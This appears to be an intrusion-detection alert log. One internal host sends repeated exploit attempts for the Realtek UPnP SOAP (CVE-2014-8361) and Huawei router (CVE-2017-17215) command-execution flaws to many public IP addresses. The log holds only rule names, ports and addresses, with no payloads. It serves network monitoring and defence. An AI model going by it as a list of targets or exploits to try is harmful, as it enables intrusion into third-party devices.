07/20/24-23:01:44.945909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40546	52869	192.168.2.23	93.177.145.85
07/20/24-23:01:32.032492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59880	37215	192.168.2.23	197.56.101.214
07/20/24-23:01:27.650643	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57514	37215	192.168.2.23	2.228.199.145
07/20/24-23:01:43.087294	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48788	52869	192.168.2.23	76.8.56.105
07/20/24-23:01:10.703412	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41478	52869	192.168.2.23	185.44.122.49
07/20/24-23:01:42.592736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46258	52869	192.168.2.23	179.149.63.116
07/20/24-23:00:57.220866	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45112	37215	192.168.2.23	157.87.181.134
07/20/24-23:01:00.633810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34066	37215	192.168.2.23	91.110.161.158
07/20/24-23:01:11.642449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57406	37215	192.168.2.23	157.87.175.0
07/20/24-23:01:31.981855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46582	37215	192.168.2.23	197.184.167.162
07/20/24-23:01:31.325400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38942	52869	192.168.2.23	61.172.152.113
07/20/24-23:01:00.651026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38614	37215	192.168.2.23	157.207.43.131
07/20/24-23:01:46.109136	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40670	52869	192.168.2.23	20.63.97.204
07/20/24-23:01:13.146648	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41232	52869	192.168.2.23	4.129.239.131
07/20/24-23:01:42.592140	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36644	52869	192.168.2.23	34.44.162.23
07/20/24-23:01:41.566623	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59894	52869	192.168.2.23	187.33.239.16
07/20/24-23:01:41.947663	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33434	52869	192.168.2.23	218.234.180.136
07/20/24-23:01:41.299284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54778	52869	192.168.2.23	80.104.187.148
07/20/24-23:01:01.278892	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35746	52869	192.168.2.23	9.91.73.111
07/20/24-23:01:08.574948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38282	52869	192.168.2.23	77.77.58.220
07/20/24-23:01:45.458332	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51990	52869	192.168.2.23	58.56.54.197
07/20/24-23:01:20.149798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33656	37215	192.168.2.23	41.31.171.242
07/20/24-23:01:42.774505	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41374	52869	192.168.2.23	5.118.234.148
07/20/24-23:01:31.975330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41040	37215	192.168.2.23	197.180.73.227
07/20/24-23:00:59.157444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41416	37215	192.168.2.23	197.194.145.174
07/20/24-23:01:44.161942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55620	52869	192.168.2.23	213.162.26.171
07/20/24-23:01:47.092270	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57310	52869	192.168.2.23	187.119.209.224
07/20/24-23:01:24.885849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55258	37215	192.168.2.23	181.123.95.218
07/20/24-23:01:27.650643	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59830	37215	192.168.2.23	41.78.192.6
07/20/24-23:01:58.688551	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49478	52869	192.168.2.23	73.49.232.192
07/20/24-23:01:44.036421	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35630	52869	192.168.2.23	163.195.26.201
07/20/24-23:01:03.919195	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58878	52869	192.168.2.23	162.162.162.31
07/20/24-23:01:34.044417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41170	37215	192.168.2.23	41.118.41.79
07/20/24-23:01:46.731900	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56188	52869	192.168.2.23	115.176.151.108
07/20/24-23:01:42.749469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45456	52869	192.168.2.23	184.103.85.217
07/20/24-23:01:54.177524	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56158	52869	192.168.2.23	69.193.122.132
07/20/24-23:01:59.197251	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53646	52869	192.168.2.23	48.103.95.129
07/20/24-23:01:43.147883	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59578	52869	192.168.2.23	170.93.66.190
07/20/24-23:01:46.159166	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60328	52869	192.168.2.23	111.211.116.144
07/20/24-23:01:51.791706	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49938	52869	192.168.2.23	142.206.118.182
07/20/24-23:01:01.182969	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59766	52869	192.168.2.23	133.66.91.121
07/20/24-23:01:50.083569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54864	52869	192.168.2.23	112.255.30.88
07/20/24-23:01:42.727671	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59060	52869	192.168.2.23	85.146.42.42
07/20/24-23:01:02.095698	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51666	37215	192.168.2.23	157.58.16.237
07/20/24-23:01:41.420715	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41268	52869	192.168.2.23	113.1.100.136
07/20/24-23:01:04.965535	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44980	52869	192.168.2.23	103.179.244.2
07/20/24-23:01:46.471349	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33208	52869	192.168.2.23	68.106.199.227
07/20/24-23:01:53.057359	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38558	52869	192.168.2.23	42.29.184.117
07/20/24-23:01:51.835178	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59778	52869	192.168.2.23	196.117.225.80
07/20/24-23:01:31.991336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35894	37215	192.168.2.23	157.50.56.223
07/20/24-23:01:52.161851	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38102	52869	192.168.2.23	208.98.159.35
07/20/24-23:01:53.524729	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47114	52869	192.168.2.23	81.22.157.142
07/20/24-23:01:20.152427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53950	37215	192.168.2.23	118.213.243.211
07/20/24-23:01:54.930155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57282	52869	192.168.2.23	190.122.87.133
07/20/24-23:00:59.168569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58398	37215	192.168.2.23	197.247.106.185
07/20/24-23:01:44.944836	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55484	52869	192.168.2.23	113.35.167.52
07/20/24-23:01:27.651536	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38282	37215	192.168.2.23	104.187.254.126
07/20/24-23:01:42.250039	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38152	52869	192.168.2.23	136.37.204.244
07/20/24-23:01:47.962852	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59642	52869	192.168.2.23	137.109.251.204
07/20/24-23:01:50.280308	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55862	52869	192.168.2.23	213.162.26.171
07/20/24-23:01:40.321300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38676	37215	192.168.2.23	31.249.51.37
07/20/24-23:01:44.636234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50636	52869	192.168.2.23	31.246.229.175
07/20/24-23:01:42.966322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55386	52869	192.168.2.23	118.209.219.113
07/20/24-23:00:59.158278	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39054	37215	192.168.2.23	41.184.89.253
07/20/24-23:01:31.322288	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60192	52869	192.168.2.23	24.104.161.240
07/20/24-23:01:41.318733	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41494	52869	192.168.2.23	8.157.181.46
07/20/24-23:01:04.039129	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55026	37215	192.168.2.23	197.84.99.94
07/20/24-23:01:45.202570	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58744	52869	192.168.2.23	179.153.61.251
07/20/24-23:01:51.919746	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57832	52869	192.168.2.23	135.215.110.183
07/20/24-23:01:44.788688	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51846	52869	192.168.2.23	19.242.116.26
07/20/24-23:01:50.332163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40454	52869	192.168.2.23	25.245.127.235
07/20/24-23:01:57.787786	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43082	52869	192.168.2.23	95.253.23.104
07/20/24-23:01:24.898476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42402	37215	192.168.2.23	220.206.255.62
07/20/24-23:01:44.640473	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33286	52869	192.168.2.23	12.188.189.35
07/20/24-23:01:20.175900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50092	37215	192.168.2.23	165.70.37.218
07/20/24-23:01:46.450130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58138	52869	192.168.2.23	187.157.152.232
07/20/24-23:01:07.054782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36520	37215	192.168.2.23	197.12.118.206
07/20/24-23:01:41.290518	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40086	52869	192.168.2.23	95.50.29.160
07/20/24-23:01:41.358696	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43296	52869	192.168.2.23	62.203.112.129
07/20/24-23:01:47.267254	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57088	52869	192.168.2.23	34.85.175.26
07/20/24-23:01:14.049603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40608	37215	192.168.2.23	157.40.217.143
07/20/24-23:01:50.212922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40040	52869	192.168.2.23	152.179.89.83
07/20/24-23:01:00.634497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41068	37215	192.168.2.23	41.130.229.37
07/20/24-23:01:42.647416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48246	52869	192.168.2.23	75.199.56.180
07/20/24-23:01:44.302645	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44116	52869	192.168.2.23	119.167.95.17
07/20/24-23:01:49.809920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54402	52869	192.168.2.23	34.139.90.241
07/20/24-23:01:21.951975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39574	37215	192.168.2.23	197.169.42.163
07/20/24-23:00:57.221748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47728	37215	192.168.2.23	41.6.98.70
07/20/24-23:01:58.719313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39752	52869	192.168.2.23	149.74.6.111
07/20/24-23:01:11.636425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53820	37215	192.168.2.23	197.83.57.75
07/20/24-23:01:45.075399	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55444	52869	192.168.2.23	31.139.123.246
07/20/24-23:01:58.822700	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49678	52869	192.168.2.23	111.239.243.106
07/20/24-23:01:44.894921	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55432	52869	192.168.2.23	193.19.81.156
07/20/24-23:01:51.441890	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50686	52869	192.168.2.23	63.196.31.124
07/20/24-23:01:40.296076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45744	37215	192.168.2.23	41.95.125.239
07/20/24-23:01:01.292992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33712	52869	192.168.2.23	184.60.97.199
07/20/24-23:01:21.952782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49764	37215	192.168.2.23	41.89.247.80
07/20/24-23:01:03.207719	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59236	52869	192.168.2.23	34.184.40.220
07/20/24-23:01:06.975117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42152	37215	192.168.2.23	157.179.86.20
07/20/24-23:01:27.654173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42294	37215	192.168.2.23	126.201.61.171
07/20/24-23:01:51.916672	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46732	52869	192.168.2.23	81.144.207.10
07/20/24-23:01:51.743446	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52870	52869	192.168.2.23	35.152.212.38
07/20/24-23:01:20.124696	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33298	37215	192.168.2.23	197.172.242.183
07/20/24-23:01:42.837135	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47254	52869	192.168.2.23	204.152.123.98
07/20/24-23:01:43.978983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57384	52869	192.168.2.23	133.252.225.26
07/20/24-23:01:52.019773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42918	52869	192.168.2.23	115.65.225.50
07/20/24-23:01:08.677189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54180	52869	192.168.2.23	141.31.223.242
07/20/24-23:01:27.655551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34602	37215	192.168.2.23	157.254.243.46
07/20/24-23:01:02.731126	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56040	52869	192.168.2.23	62.90.39.173
07/20/24-23:01:42.704267	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55242	52869	192.168.2.23	31.234.118.120
07/20/24-23:01:47.924852	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52002	52869	192.168.2.23	143.225.143.5
07/20/24-23:01:55.694589	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48562	52869	192.168.2.23	150.16.14.245
07/20/24-23:02:08.084136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46518	52869	192.168.2.23	161.96.78.14
07/20/24-23:01:09.058270	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54394	52869	192.168.2.23	186.94.179.5
07/20/24-23:01:44.156178	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49758	52869	192.168.2.23	145.77.223.88
07/20/24-23:01:42.434719	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34494	52869	192.168.2.23	200.70.243.196
07/20/24-23:01:02.064358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52358	37215	192.168.2.23	17.67.251.17
07/20/24-23:01:14.111381	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59232	37215	192.168.2.23	64.60.172.121
07/20/24-23:01:31.975158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58306	37215	192.168.2.23	157.186.3.56
07/20/24-23:01:42.147980	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56432	52869	192.168.2.23	112.189.246.31
07/20/24-23:01:31.979565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53294	37215	192.168.2.23	157.166.228.6
07/20/24-23:01:44.277250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54614	52869	192.168.2.23	192.12.75.155
07/20/24-23:01:49.097048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44602	52869	192.168.2.23	23.185.211.99
07/20/24-23:01:42.522141	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57308	52869	192.168.2.23	54.188.109.169
07/20/24-23:01:02.690149	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55002	52869	192.168.2.23	144.0.5.154
07/20/24-23:01:08.590753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46306	52869	192.168.2.23	169.107.25.12
07/20/24-23:01:21.951975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46354	37215	192.168.2.23	113.91.21.81
07/20/24-23:01:25.187391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50668	52869	192.168.2.23	123.249.201.235
07/20/24-23:01:42.425705	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39430	52869	192.168.2.23	159.183.134.67
07/20/24-23:01:04.039128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39040	37215	192.168.2.23	151.22.190.51
07/20/24-23:01:04.178669	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44326	52869	192.168.2.23	109.115.27.6
07/20/24-23:01:45.854405	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50904	52869	192.168.2.23	106.212.70.208
07/20/24-23:00:57.221583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35138	37215	192.168.2.23	197.213.7.238
07/20/24-23:01:31.331748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53304	52869	192.168.2.23	45.38.7.5
07/20/24-23:01:42.790558	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47720	52869	192.168.2.23	112.201.119.160
07/20/24-23:01:51.130270	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54738	52869	192.168.2.23	49.152.226.6
07/20/24-23:01:40.285038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40002	37215	192.168.2.23	40.163.171.209
07/20/24-23:01:47.243820	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38550	52869	192.168.2.23	87.132.55.249
07/20/24-23:01:55.076019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38152	52869	192.168.2.23	123.227.205.159
07/20/24-23:01:04.230950	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45392	37215	192.168.2.23	41.83.34.135
07/20/24-23:01:46.871315	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47642	52869	192.168.2.23	94.51.135.205
07/20/24-23:01:42.664090	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52998	52869	192.168.2.23	155.251.124.204
07/20/24-23:01:54.901420	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53268	52869	192.168.2.23	135.69.136.147
07/20/24-23:01:40.275256	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42886	37215	192.168.2.23	41.212.252.187
07/20/24-23:01:45.452336	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40572	52869	192.168.2.23	90.144.20.22
07/20/24-23:01:45.350108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34098	52869	192.168.2.23	74.130.124.117
07/20/24-23:01:21.139934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59082	52869	192.168.2.23	85.106.41.174
07/20/24-23:01:53.085271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48530	52869	192.168.2.23	143.107.137.70
07/20/24-23:01:24.898476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50252	37215	192.168.2.23	100.7.152.54
07/20/24-23:01:41.722161	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51824	52869	192.168.2.23	14.249.111.18
07/20/24-23:00:57.221910	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51880	37215	192.168.2.23	132.70.95.60
07/20/24-23:01:54.345402	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39066	52869	192.168.2.23	221.77.89.150
07/20/24-23:01:51.360754	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33704	52869	192.168.2.23	164.28.92.86
07/20/24-23:01:02.048113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50466	37215	192.168.2.23	157.246.129.121
07/20/24-23:01:24.904906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41726	37215	192.168.2.23	197.233.159.133
07/20/24-23:01:53.064325	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59782	52869	192.168.2.23	131.175.175.175
07/20/24-23:01:06.988055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59684	37215	192.168.2.23	41.241.168.134
07/20/24-23:01:14.006983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45886	52869	192.168.2.23	62.216.86.224
07/20/24-23:01:13.826513	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51264	52869	192.168.2.23	9.70.14.160
07/20/24-23:01:42.714534	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44018	52869	192.168.2.23	39.205.206.142
07/20/24-23:01:55.105161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43056	52869	192.168.2.23	39.142.177.164
07/20/24-23:01:34.045144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38872	37215	192.168.2.23	197.95.167.27
07/20/24-23:01:40.336908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53880	37215	192.168.2.23	197.122.165.99
07/20/24-23:01:31.979752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48092	37215	192.168.2.23	197.207.171.251
07/20/24-23:01:26.145029	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33326	52869	192.168.2.23	121.166.138.14
07/20/24-23:00:57.221570	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53302	37215	192.168.2.23	157.143.196.120
07/20/24-23:01:20.096752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40856	37215	192.168.2.23	41.15.94.102
07/20/24-23:01:42.704267	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44400	52869	192.168.2.23	167.4.219.92
07/20/24-23:01:40.307219	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54792	37215	192.168.2.23	144.44.56.47
